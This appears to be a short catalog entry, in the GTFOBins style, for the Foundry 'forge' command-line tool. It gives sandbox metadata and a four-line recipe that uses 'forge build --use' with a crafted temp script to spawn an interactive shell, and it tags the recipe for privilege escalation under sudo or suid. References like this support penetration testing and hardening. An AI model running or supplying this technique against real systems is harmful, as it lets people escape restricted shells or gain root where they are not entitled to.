Foundry framework for Ethereum smart contract development; can spawn a shell via build scripts.
forge forge Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | none |
| Disk I/O | low |
Spawn an interactive shell (sudo, suid, unprivileged)
echo '#!/bin/sh' >/path/to/temp-file
echo -e "/bin/sh <$(tty) >$(tty) 2>$(tty)" >>/path/to/temp-file
chmod +x /path/to/temp-file
forge build --use /path/to/temp-file forge is a command-line utility. Foundry smart contract development framework; can also spawn an interactive shell.